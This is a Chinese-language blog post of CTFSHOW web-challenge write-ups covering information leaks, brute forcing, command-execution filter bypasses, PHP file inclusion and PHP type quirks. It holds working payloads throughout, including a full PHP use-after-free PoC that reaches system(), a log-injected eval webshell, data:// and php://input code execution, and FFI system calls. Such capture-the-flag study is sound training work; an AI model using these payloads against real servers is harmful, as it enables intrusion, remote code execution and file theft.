【做题记录】CTFSHOW-WEB入门一千题
主要是记录做题过程以及题解,方便查缺补漏,而且看着也爽。
信息搜集篇:
WEB1:
F12查看源代码,拿到flag。
WEB2:
利用view-source协议查看源代码,拿到flag。
WEB3:
根据提示抓包查看返回包,拿到flag。
WEB4:
查看robots.txt,发现flagishere.txt文件。
访问拿到flag。
WEB5:
根据提示访问/index.phps,下载泄露源码,拿到flag。
也可以用dirsearch扫出来目录。
WEB6:
根据提示访问www.zip(用dirsearch扫也可以),下载源码。发现有两个文件,点进去
发现txt是假flag,访问/fl000g.txt,拿到flag。
WEB7:
根据提示判断为git泄露,访问/.git(也可以dirsearch扫),拿到flag。
WEB8:
根据提示可以判断为svn泄露,访问/.svn拿到flag
WEB9:
vim备份文件:
默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看。
如index.php的备份文件为index.php~
vim临时文件:
p~vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果源文件名是index.php,则它的临时文件名为index.txt.swp。如果文件正常退出,则此文件自动删除。
根据提示可知为vim文件泄露,访问/index.php.swp,下载文件,拿到flag。
WEB10:
根据提示查看cookie,在F12的console中输入document.cookie,然后url解码,拿到flag。
WEB11:
本题主要考察域名txt记录泄露,在dbcha.com查询ctfshow.com的txt记录便可拿到flag。
这里没有flag的原因题目简介写的很清楚了。
WEB12:
dirsearch跑出来robots.txt,进入管理页面发现要密码,我还以为是top100弱密码,试了发现没用,看hint才知道就在页面最下方有个Help Line Number
,这个就是密码(笑,登录拿到flag。
WEB13:
根据提示在底部找到document选项
进去后发现文档泄露了后台地址和默认用户名与密码。
访问/system1103/login.php,输入默认用户名与密码拿到flag。
算是直接网上直接找到后台地址与默认用户名和密码的复现吧,虽然听起来把登陆地址和账户密码发网上挺离谱但还真有很多人这么干,就。。挺魔幻的。
WEB14:
根据提示查看源代码发现编辑器地址。
进去看看,根据提示找到和文件目录有关的地方,找到了上传图片。
点进去发现有个图片空间,打开发现可以查看服务器目录。
找到网站根目录,发现nothinghere
文件夹。
进去发现有个fl000g.txt文件,访问/nothinghere/fl000g.txt,拿到flag。
WEB15:
首页找到qq邮箱。
根据提示访问/admin/(也可以用dirsearch扫,线程不能开太多),发现是一个后台登录界面。
登录admin,提示密码错误,进入忘记密码,发现问题是所在地。
根据拿到的qq邮箱在qq里搜索qq号,可以看到号主所在地。
填入后提示重置密码,用密码登录admin拿到flag。
WEB16:
php探针:
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php,版本是雅黑PHP探针。
本体考察雅黑php探针,访问/tz.php,找到PHPINFO
,查看php信息。
在phpinfo页面搜索拿到flag。
WEB17:
dirseach跑出backup.sql。
访问/backup.sql并下载,打开搜索ctfshow,拿到flag。
WEB18:
从js中找到分数大于100返回的结果。
unicode解码提示110.php。
访问拿到flag。
WEB19:
f12发现用户名和加密后的密码,并且在前端做的加密。
burpsuit改包可以绕过js加密。
拿到flag。
小插曲: 尝试将拿到的密码进行根据所给的js进行解密,可惜失败了。。
WEB20:
数据库文件泄露,dirsearch扫发现存在db目录。
带上db路径继续扫,扫到db.mdb文件。
访问下载db.mdb文件,用记事本打开搜索ctfshow,拿到flag。
爆破篇:
WEB21:
考察burpsuit的intruder模块,访问发现是个登录口,随便输个用户名和密码抓包,发现使用的Basic认证
。
Basic认证采用Base64加密方式,Base64解码字符串发现是用户名:密码
的格式进行Base64编码。
将请求包发送到Intruder进行爆破,给字符串加上标记作为爆破对象。
修改Payload type为Custom iterator(自定义迭代器)。
第一个位置值为admin
分隔符为:
,第二个位置值为官方给的字典(我因为跑的时间太久了所以就去hint看了密码,然后把真正密码往前放了)。
还要进行Base64编码和关掉URL编码。
开始爆破发现有长度不一样的返回包。
查看拿到flag。
PS:
除了用迭代器,也可以直接生成字典,但一定要关掉URL编码,因为=会被编码导致认证失败。
生成需要的字典
import base64
with open('最新网站后台密码破解字典.txt','r') as rstream, open('最新网站后台密码破解字典1.txt','w') as wstream:
data = rstream.readline()
while data != '':
data = 'admin:'+data
data = base64.b64encode(data)
wstream.write(data)
data = rstream.readline()
rstream.close()
wstream.close()
print('制作完成')
WEB22:
用子域名扫描器扫出flag.ctf.show拿到flag,但这个域名已经没了所以就直接交的官方提供的flag。
WEB23:
访问发现是一个做了一个md5值的过滤,绕过了即可返回flag。
根据代码编写相应的脚本。
我是用的python带的字符,从一个字符开始遍历,发现一个字符没有结果就改为了两个字符,发现3j和ZE都可以过。
import hashlib
import string
all = string.digits + string.ascii_letters
better_set = set(string.ascii_letters)
for a in all:
for b in all:
c = a + b
t = hashlib.md5(c.encode(encoding='utf-8')).hexdigest()
if t[1] == t[14] and t[14] == t[17]:
t_set = {t[1],t[14],t[17],t[31]}
if t_set.isdisjoint(better_set) and t[31] != '0':
if (int(t[1])+int(t[14])+int(t[17]))/int(t[1]) == int(t[31]):
print(c)
print(t)
生成相应的结果。
提交参数token拿到flag。
WEB24:
发现会通过mt_srand()
生成伪随机数,php伪随机数漏洞参考链接。
本地使用相同的种子编写一个随机数生成器,多次访问随机数没有改变。
提交该随机数,拿到flag。
、
WEB25:
审计可知,可以利用$rand = intval($r)-intval(mt_rand());
得到mt_rand()生成的随机数。
传入r=0,得到mt_rand()的值311066071
。
参考链接,使用php_mt_seed爆破mt_rand()产生的随机数的种子。
在对生成的几个种子测试过后发现521939396
可以得到所给的随机数值。
算出token的值(两个必须一起拿到,否则token就是错误的)。
传参拿到flag。
WEB26:
拿之前的字典直接爆破密码就可以拿到flag。
WEB27:
访问发现是一个教务管理系统。
点击录取名单下载,发现有学生姓名和身份证号码的一部分。
访问学生学籍信息查询系统,发现需要姓名和身份证号。
利用burpsuit的Intruder模块进行Cluster bomb(集束炸弹)方式攻击(遍历尝试所有位置的payload的笛卡尔积),配置如下(年份是看的别人的解答,我猜的是00后没想到是90年的)。
攻击,发现19900201
返回包长度和其他不同。
尝试621022199002015237
,拿到学号和密码。
登录,拿到flag。
WEB28:
发现有两个目录,进行爆破。
官方Hint建议是两个都从0-100开始爆破,用cluster bomb爆破,拿到flag。
命令执行篇:
WEB29:
<?php eval("echo "aaa";?><?php system('ls');")
审计代码发现可以执行c传来的参数并且过滤了flag,构造
echo "aaa";?><?php system('ls');
传参,查看当前目录下文件。
第一种解法:
echo "";?><?php include($_GET['fxxk']);&fxxk=php://filter/read=convert.base64-encode/resource=flag.php

第二种解法:
cat fla*
读取开头为fla的文件,这样就能读取flag.php内容了。
WEB30:
php标记:
标准php标记:
<?php
echo "fxxk!";
?>
<?php
echo "fxxk!";
简短风格的php标记:
<?
echo "fxxk!";
?>
asp风格的php标记:
<%
echo "fxxk!";
%>
脚本风格的php标记:
<script language="php">
echo "fxxk!";
</script>
审计代码可以看到ban了flag,system,php。
system可以用passthru
函数或exec
绕过,也可以用`
执行参数绕过。
文件读取可以用cat加通配符
、cp到新文件然后访问
绕过。
解法一:
使用passthru,传参passthru("ls")
,得到文件名,然后传参passthru("cat fla*")
,拿到flag。
解法二:
传参exec("cp fla* 1.txt")
,将名字开头为fla的文件内容cp到1.txt,然后访问/1.txt拿到flag。
解法三:
传参echo `cat fla*`
,拿到flag。
WEB31:
审计源码发现system被过滤可以用passthru
函数绕过,cat被过滤可以用more、less、nl
绕过,空格被过滤可以用${IFS}
、%09
绕过。
传参passthru(more%09fla*);
拿到flag。
WEB32:
php伪协议:
在实战中php伪协议配合文件包含漏洞可以发挥重大作用,比如读取文件源码,任意命令执行,或者开启后门获取webshell。常见的伪协议有
- php://filter 读取文件源码
- php://input 任意代码执行
- data://text/plain 任意代码执行
- zip:// 配合文件上传开启后门
php://filter:
php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码。
使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了。
php://input:
可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效。
data://text/plain:
写法:data://text/plain, 或 data://text/plain;base64,
协议格式: data:资源类型;编码,内容
data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行.
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://
,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
zip://:
ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell
将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马
在前面的基础上,过滤了括号,但没有过滤双引号,可以用文件包含绕过。
include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
,拿到flag。
WEB33:
在前面的基础上过滤了引号,用文件包含绕过。
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
,拿到flag。
WEB34:
增加了过滤:,相同姿势include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
,拿到flag。
WEB35:
增加了过滤<和=,相同姿势include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
,拿到flag。
或者用data协议include$_POST[a]?>
post传a=data://text/plain,<?php system('tac fla*'); ?>
WEB36:
过滤了数字,继续php伪协议打,include$_POST[a]?>
post传a=data://text/plain,<?php system("tac fla*");?>
,拿到flag。
WEB37:
利用data协议传参c=data://plain/text,<?php system('cat fla*');?>
查看源码拿到flag。
WEB38:
过滤了php,利用data协议的base64编码写法绕过。
传参c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
,f12拿到flag。
WEB39:
include函数里给传入的参数末尾加上.php,但是影响不到data协议,
传参c=data://text/plain,<?php system('cat fla*');?>
,查看源码拿到flag。
WEB40:
思路参考:链接
localeconv()函数返回的数组中包含.
。
current() 返回数组的第一个元素
pos() 同current(),是current()的别名
reset() 返回数组第一个单元的值,如果数组为空则返回false。
利用以上的任何一个函数与localconv()组合都可以得到.
。
利用scandir()查看当前目录,由于过滤了[]所以不能使用scandir('.')[0]的方式查看元素。
可以使用next()查看元素,next()可以输出数组当前元素下一个元素的值,但是由于flag.php是第三个,数组长度为四。
所以需要先使用array_reverse()将数组反转,再使用next()输出。用highlight_file()显示文件内容。
传参c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
,拿到flag。
WEB41:
过滤了数字、大小写字母,按位异或、按位与运算符,按位取反运算符,但是没有过滤按位或。
可以利用没有过滤的字符进行按位或来构造想要的字符串,写个脚本就传参就可以拿到flag。
脚本
import re
import requests
available = []
url = "http://c660e82d-0709-4e45-8dec-e81fc6447ac1.challenge.ctf.show/"
for i in range(0,256):
result = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',chr(i),re.I)
if result is None:
available.append(chr(i))
key1 = "system"
key2 = "cat flag.php"
gkey1 = ""
gkey2 = ""
data1 = ""
data2 = ""
def orkey(pos,keys):
global gkey1
global gkey2
for i in range(0,len(available)):
for j in range(i,len(available)):
if ord(available[i])|ord(available[j]) == ord(keys[pos]):
gkey1 += available[i]
gkey2 += available[j]
return
for i in range(len(key1)):
orkey(i,key1)
data1 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"
gkey1 = ""
gkey2 = ""
for i in range(len(key2)):
orkey(i,key2)
data2 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"
data ={
"c":data1 + data2
}
res = requests.post(url,data)
print(res.text)
WEB42:
使用 > /dev/null 2>&1
将命令结果全部丢弃,利用&&
绕过,在linux中command a && command b会先执行a命令再执行b命令,因此利用&&
,可以让前一个命令的结果保留,而将后一个命令的结果丢弃。
传参c=cat flag.php%26%26ls
,这里的%26是&的url编码(切记对&&等表示两个参数的分隔符进行url编码,不然没有回显),拿到flag。
WEB43:
过滤了分号和cat,cat可以用tac、more等命令绕过。
传参c=tac flag.php%26%26ls
,拿到flag。
WEB44:
在上一题基础上过滤了flag,用*绕过。
传参c=tac fla*%26%26ls
,拿到flag。
WEB45:
在上一题基础上过滤了空格,可以利用%09、${IFS}绕过。
传参c=tac%09fla*%26%26ls
,拿到flag。
WEB46:
在上一题的基础上过滤了$
、数字和*
,*
可以用?
绕过。
传参c=tac%09fla?.php%26%26ls
,拿到flag。
WEB47:
过滤了more、less等读取命令,没有过滤tac,上一题的payload直接打。
传参c=tac%09fla?.php%26%26ls
,拿到flag。
WEB48:
上一题基础上过滤了更多的文件输出命令,没有过滤tac,直接打(这些被过滤的命令以后可能用到)。
传参c=tac%09fla?.php%26%26ls
,拿到flag。
WEB49:
上一题基础上过滤了%,没有过滤tac,上一题payload直接打。
传参c=tac%09fla?.php%26%26ls
,拿到flag。
WEB50:
linux中竖线'|',双竖线‘||’,&和&&的意思:
-
竖线‘|’ ,在linux中是作为管道符的,将‘|’前面命令的输出作为'|'后面的输入。
-
双竖线‘||’,用双竖线‘||’分割的多条命令,执行的时候遵循如下规则,如果前一条命令为真,则后面的命令不会执行,如果前一条命令为假,则继续执行后面的命令。
-
&同时执行多条命令,不管命令是否执行成功。
-
&& 可同时执行多条命令,当碰到执行错误的命令时,将不再执行后面的命令。如果一直没有错误的,则执行完毕。
在上一题的基础上过滤了&
,可以用||
或%0a
绕过。过滤了空格可以用<>
绕过。
?没法用,改用fla''g.php,或者fla\g.php。
传参c=tac<>fla''g.php||
,拿到flag。
WEB51:
在上一题基础上禁了tac,可以用nl绕过。
传参c=nl<>fla\g.php%0a
,查看源代码拿到flag。
WEB52:
在上一题基础上过滤了<
和>
,但没有过滤$和大括号,利用${IFS}
绕过空格。
传参c=nl${IFS}fla''g.php%0a
,发现拿到的是假flag。
ls到跟目录找到真flag,传参c=nl${IFS}/fla''g%0a
,拿到flag。
WEB53:
没有过滤
传参c=nl${IFS}fla''g.php
,拿到flag。
WEB54:
grep 命令是用来在每一个文件或中(或特定输出上)搜索特定的模式,当使用 grep 时,包含指定字符模式的每一行内容,都会被打印(显示)到屏幕上,但是使用 grep 命令并不改变文件中的内容。
在上一题的基础上nl被禁,可以利用grep绕过。grep可以利用正则表达式匹配文件内容,并把匹配到的那一行输出。
空格可以用${IFS}绕过。
传参c=grep
官方的hint也很有意思,可以用?匹配bin目录下的cat然后调用,学到了。
WEB55:
由于禁用了字母但没有禁数字和问号,所以利用linux的base64命令(/bin/base64)来实现文件读取。
这里可以构造/???/????64来匹配/bin/base64实现命令执行。
传参c=/???/????64 ????????
base64解码拿到flag。
WEB56:
这次数字也被ban了,base64也没办法使。
参考phithon的方法:
- shell下可以利用
.
来执行任意脚本- Linux文件名支持用glob通配符代替
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。用. file执行文件是不需要file有x权限的,也就是说如果目标服务器有一个我们可控的文件,我们就可以用.执行它。
这个文件也可以得到,我们向服务器发送一个上传文件的post包,php会将我们上传的文件保存到临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名的后六位是随机大小写字母。
为了不使用字母匹配文件,可以用linux下的glob通配符。
详细的可以去看p神的博客。
在glob通配符中,我们可以利用[@-[]
匹配大写字母。
因此最后的解法就确定了,我们上传一个文件,文件内容为我们要执行的命令,然后我们通过.
来执行通过glob通配符匹配到的临时文件。
首先写一个简单的文件上传页面,上传的地址为目标地址。
文件上传页面
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>poc</title>
</head>
<body>
<form action="http://67a24da0-803e-44ae-8a52-d6222a8011a2.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"/><br>
<input type="submit" name="submit" id="submit" value="submit" />
</form>
</body>
</html>
然后提交表单并改包,传参c=.%20/???/?????[@-[]
(最后一个可能不是大写,多试几次就好了)。
成功回显。
最后直接cat flag.php就好了。
拿到flag。
WEB57:
原理:
在Linux中
${_}
表示上一次命令执行的结果 ,如果上次没有执行命令或命令结果为空的话则与""
等价
$(())
可以做运算
我们可以测试一下:
可以看到如果之前执行命令结果为空的话${_}
值为空与$((""))
等价,因为$((""))
值为0,0取反为-1,因此这个-1可以凑起来凑成-37然后再取反就得到36了(没错-37取反得到36而不是-36取反,有疑问的可以自己去算一下)。
编写相应脚本拿到flag。
脚本
import requests
url = "http://4fba87c7-5555-470e-ae54-2707b7c6180c.challenge.ctf.show/?c="
payload = ""
a = "$((~$((${_}))))"
payload += "$((~$(("
for i in range(37):
payload += a
payload += "))))"
res = requests.get(url+payload)
print(res.text)
WEB58:
获取文件路径
print_r(scandir(dirname('__FILE__')));
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
$a=opendir("./");while(($file=readdir($a))!==false){echo $file."<br>";}
var_dump(scandir("/"));
var_export(scandir("/"));
利用复制、重命名来读取php文件内容
copy()
rename()
----------------------------------------------------------------------------
copy("flag.php","flag.txt")
rename("flag.php","flag.txt")
单一函数读取文件内容
file_get_contents()
readfile()
file()
----------------------------------------------------------------------------
echo file_get_contents("flag.php")
readfile("file.php")
print_r(file("flag.php"))
通过fopen读取文件内容
fread()
fgets()
fgetc()
fgetss() //7.3版本后已弃用
fgetcsv()
fpassthru() //输出文件指针处的所有剩余数据
----------------------------------------------------------------------------
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");while(!feof($a)){$b=fgets($a);echo $b;}
$a=fopen("flag.php","r");while(!feof($a)){$b=fgetc($a);echo $b;}
$a=fopen("flag.php","r");while(!feof($a)){$b=fgetss($a);echo $b;}
$a=fopen("flag.php","r");while(!feof($a)){$b=fgetcsv($a);print_r($b);}
$a=fopen("flag.php","r");fpassthru($a);
高亮显示php内容
highlight_file()
show_source()
----------------------------------------------------------------------------
highlight_file("flag.php");
show_source("flag.php");
文件包含重命名、复制后的txt文件
include()
require()
include("/flag.txt")
require("/flag.txt")
与执行命令有关的函数都被ban了,换思路,直接用函数查看文件。
传参c=highlight_file("flag.php");
,拿到flag。
官方flag用的show_source()函数,作用与highlight_file()一样,是 highlight_file() 的别名。
每个姿势都尝试一下。
WEB59-WEB64:
解法与web58相同,传参c=highlight_file("flag.php");
,拿到flag。其他解法web58都写过了,这里就不写了。
WEB65-WEB66:
真实文件在根目录。
直接将文件包含进来传参c=include"/flag.txt";
或者c=highlight_file("/flag.txt");
或者c=require("/flag.txt")
WEB67:
真实文件在根目录。
highlight_file()给禁了,用文件包含显示flag。
传参c=include"flag.txt";
WEB69:
首先找文件,var_dump()和print_r()都被禁了,可以用opendir()和echo绕过。
传参c=$a=opendir("/");while(($b = readdir())!==false){echo $b." ";
可以看到目录下有flag.txt,让我们包含进来传参c=include("/flag.txt");
,拿到flag。
WEB70:
传参c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");}
查看目录。
文件包含,传参include("/flag.txt");
拿到flag。
WEB71:
利用exit()可以让前面的语句执行完就退出,而不需要执行后面的语句。
传参c=$a=opendir("/");while(($b=readdir($a))!==false){echo $b." ";}exit();
查看目录。
传参c=include("/flag.txt");exit();
拿到flag。
WEB72:
利用uaf实现任意指令执行,poc在上面的uafpoc中。并且用for循环绕过str_repeat(),用sprintf()绕过chr(),修改后的poc如下
POC
?><?php
pwn("ls /");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a); # unset() 函数用于销毁给定的变量。
$backtrace = (new Exception)->getTrace(); # ;) Exception是所有用户级异常的基类。 Exception::getTrace — 获取异常追踪信息
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$a79 = "";
for($i=0;$i<80;$i++)
{
$a79.="A";
}
$arg = str_shuffle($a79);
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
$a79 = "";
for($i=0;$i<80;$i++)
{
$a79.="A";
}
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle($a79);
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
传参c=上面的poc经过url编码,扫描目录,拿到flag。
WEB73:
先用var_export()加scandir()扫一下目录找到flag文件,然后直接include进来即可,结尾都需要用exit();将后面的函数截断。
WEB74:
传参c=$a=opendir("glob:///*");while(($b=readdir($a))!==false){echo $b." "}exit();
拿到flag位置,
传参c=include("/flagx.txt");exit();
拿到flag。
WEB75:
就是利用mysql的load_file()来查看文件,PDO提供了数据访问的抽象层,不论用哪种类型的数据库都可以用PDO来实现它的驱动并调用数据库。
Payload
try{
$db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");
foreach($db->query('select load_file("/flag36.txt")') as $row)
{
echo ($row[0])."|";
}
$db = null;
}
catch(PDOException $e)
{
echo $e->getMessage();
exit(0);
}
exit(0);
WEB76:
传参c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." ";}exit();
查看目录。
传参拿flag,原理与WEB75一致。
Payload
try{
$db = new PDO("mysql:host=localhost;dbname=ctftraining","root","root");
foreach($db->query('select load_file("/flag36d.txt")') as $row)
{
echo ($row[0])."|";
}
$db = null;
}
catch(PDOException $e)
{
echo $e->getMessage();
exit(0);
}
exit(0);
WEB77:
传参c=var_export(scandir("glob:///*"));exit(0);
查看目录。
利用FFI技术,执行c语言提供的system()。
传参c=$ffi=FFI::cdef("int system(const char *system);","libc.so.6");$a="/readflag > fxxk2.txt";$ffi->system($a);exit();
,然后直接访问flag2.txt,拿到flag。
文件包含:
WEB78:
利用php伪协议的data协议和input协议都能解。
传参file=data://text/plain,<?php system("ls");?>
,查看目录,然后传参file=data://text/plain,<?php system("cat flag.php");?>
,拿到flag。
或者传参file=php://input
同时内容为?php system("ls");?>
,查看目录。
然后直接cat flag.php就拿到flag了。
WEB79:
php的str_replace()是区分大小写的,而这里只过滤了小写的php,因此可以利用大写绕过,然后data协议进行命令执行。
先用ls看目录,然后传参file=data://text/plain,<?pHP system("cat flag.php");?>
,拿到flag。
至于这里为什么带着php也能执行,因为经过替换后payload就变成了file=data://text/plain,<?pHP system("cat flag.???");?>
,而?可以匹配字符一个任意字符,在当前目录下只有flag.php和index.php,所以会匹配到flag.php,也就等价于cat flag.php。
WEB80:
利用php://input协议,同时使用大写绕过
直接cat拿flag。
WEB81:
利用session.upload_progress进行文件包含
本来打算用竞争来做,可惜可能是环境问题导致失败了,因此这里采用日志包含来做。
日志包含:
首先需要开启服务器记录日志功能
在不同的系统,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
由于访问URL时访问URL时,服务器会对其编码,所以得通过抓包的形式尝试注入
通过抓取返回包发现是nginx服务器,因此尝试向nginx的log文件写入payload。
在UA中写入一句话木马<?php @eval($_POST["a"]); ?>
然后包含日志文件/var/log/nginx/access.log
cat被禁了,用tac查看fl0g.php,拿到flag。
WEB82:
利用session.upload_progress进行文件包含和反序列化渗透
在php.ini有以下几个默认选项
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
enabled=on
表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要
name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
prefix+name
将表示为session中的键名
当session.upload_progress.enabled
选项为on即开启时,php就可以在每一个文件上传时检测上传进度。可以在文件上传时发送一个POST请求到终端来检查这个状态,方法是post一个与INI中设置的session.upload_progress.name
同名变量,一般是PHP_SESSION_UPLOAD_PROGRESS
。php接收到名为PHP_SESSION_UPLOAD_PROGRESS
变量后会将它的值保存到会话的临时文件里,临时文件的命名为:sess_xxx
,xxx
就是Cookie中参数PHPSESSID
的值,临时文件的路径即文件名有:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
本题的路径为/tmp/,因此我们如果将恶意php代码写入PHP_SESSION_UPLOAD_PROGRESS
中,然后再包含这个临时文件就可以绕过过滤执行恶意代码。
但是由于session.upload_progress.cleanup默认开启,所以我们上传的临时文件会马上被php删除,但是如果我们不停的上传,然后不停的请求包含,那么如果php还没来得及删除的时候临时文件将会被成功包含,恶意代码也会成功执行,也就是竞争成功。
晚上做。
WEB83:
php特性:
WEB89:
preg_match()传入数组会返回0,Intval()传入数组会返回1,因此传入一个数组就可以。
WEB90:
利用字符串绕过。
也可以用进制绕过intval(),传参?num=0x117c。
WEB91:
用%0a做换行符利用m的多行匹配绕过第二层过滤, 传参?cmd=aa%0aphp
。
WEB92:
因为判断用了弱等于,所以字符串没法绕过,用进制绕,传参?num=0x117c
。
WEB93:
八进制或小数绕过弱等于和匹配英文。
传参num=4476.1
或num=010574
。
WEB94:
因为strpos(),八进制没法用了,用小数,传参num=4476.10
WEB95:
本文作者:Texley
本文链接:https://www.cnblogs.com/texley/p/ctfshow1000.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
